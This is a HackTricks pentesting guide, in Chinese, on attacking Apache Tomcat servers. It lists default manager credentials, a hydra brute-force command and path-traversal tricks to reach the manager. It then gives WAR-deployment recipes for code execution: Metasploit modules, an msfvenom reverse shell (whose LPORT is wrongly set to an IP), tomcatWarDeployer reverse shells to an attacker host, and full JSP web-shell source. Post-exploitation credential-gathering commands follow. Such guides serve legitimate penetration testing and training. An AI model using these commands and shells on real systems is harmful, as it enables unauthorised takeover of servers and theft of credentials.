> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/network-services-pentesting/pentesting-web/tomcat.md).

# Tomcat

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？想要在HackTricks中看到您的**公司广告**？或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。

</details>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

***

## 发现

* 通常在**端口8080**上运行
* **常见的Tomcat错误:**

<figure><img src="/files/XY52GZK0pnsFbmuLLxhK" alt=""><figcaption></figcaption></figure>

## 枚举

### **版本识别**

要找到Apache Tomcat的版本，可以执行以下简单命令：

```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
```

### **管理文件位置**

识别 **`/manager`** 和 **`/host-manager`** 目录的确切位置至关重要，因为它们的名称可能会被更改。建议使用暴力搜索来定位这些页面。

### **用户名枚举**

对于早于6版本的Tomcat，可以通过以下方式枚举用户名：

```bash
msf> use auxiliary/scanner/http/tomcat_enum
```

### **默认凭据**

**`/manager/html`** 目录特别敏感，因为它允许上传和部署 WAR 文件，这可能导致代码执行。该目录受基本的 HTTP 身份验证保护，常见凭据包括：

* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat

可以使用以下命令测试这些凭据：

```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```

另一个值得注意的目录是 **`/manager/status`**，它显示了Tomcat和操作系统的版本，有助于识别漏洞。

### **暴力破解攻击**

要尝试对管理目录进行暴力破解攻击，可以使用：

```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```

## 常见漏洞

### **密码回溯泄露**

在幸运的情况下，访问 `/auth.jsp` 可能会显示密码回溯。

### **双 URL 编码**

`mod_jk` 中的 CVE-2007-1860 漏洞允许双 URL 编码路径遍历，通过精心构造的 URL 可以未经授权访问管理界面。

要访问 Tomcat 的管理 Web，请转到：`pathTomcat/%252E%252E/manager/html`

### /examples

Apache Tomcat 版本 4.x 到 7.x 包括易受信息泄露和跨站脚本（XSS）攻击影响的示例脚本。这些列出的脚本应该被检查是否存在未经授权访问和潜在利用。查找[更多信息](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)。

* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp

### **路径遍历利用**

在一些[**Tomcat 的易受配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)中，您可以使用路径 `/..;/` 访问 Tomcat 中的受保护目录。

因此，例如，您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` 来**访问 Tomcat 管理员**页面。

**另一种**绕过受保护路径的方法是访问 `http://www.vulnerable.com/;param=value/manager/html`

## RCE

最后，如果您可以访问 Tomcat Web 应用程序管理器，您可以**上传和部署 .war 文件（执行代码）**。

### 限制

只有当您拥有**足够的权限**（角色：**admin**、**manager** 和 **manager-script**）时，您才能部署 WAR。这些详细信息通常在 `/usr/share/tomcat9/etc/tomcat-users.xml` 中定义（在不同版本之间可能有所不同）（请参见[POST](#post)部分）。

```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```

### Metasploit

### Metasploit

```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```

### MSFVenom反向Shell

1. 创建用于部署的war文件：

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
```

2. 上传 `revshell.war` 文件并访问它 (`/revshell/`):

### 使用 [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) 进行绑定和反向 shell

在某些情况下，这种方法不起作用（例如旧版本的 sun）

#### 下载

```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```

#### 反向 shell

```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
```

#### 绑定 shell

```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
```

### 使用[Culsterd](https://github.com/hatRiot/clusterd)

```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```

### 手动方法 - Web shell

创建名为 **index.jsp** 的文件，并使用以下[内容](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)：

```java
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
```

```bash
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
```

### 手动方法2

获取一个JSP Web shell，比如[这个](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp)，并创建一个WAR文件：

```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```

## POST

Tomcat凭据文件的名称是 *tomcat-users.xml*

```bash
find / -name tomcat-users.xml 2>/dev/null
```

其他收集Tomcat凭证的方法：

```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```

## 其他Tomcat扫描工具

* <https://github.com/p0dalirius/ApacheTomcatScanner>

## 参考资料

* <https://github.com/simran-sankhala/Pentest-Tomcat>
* <https://hackertarget.com/sample/nexpose-metasploitable-test.pdf>

**Try Hard Security Group**

<figure><img src="/files/Kw46fTSYxPIOMyKySfL5" alt=""><figcaption></figcaption></figure>

{% embed url="<https://discord.gg/tryhardsecurity>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在HackTricks中看到您的**公司广告**？ 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**]\(<https://discord.gg/hRep4RUj7f>) 或**电报群组**或在**Twitter**上关注我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks)和[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧。

</details>
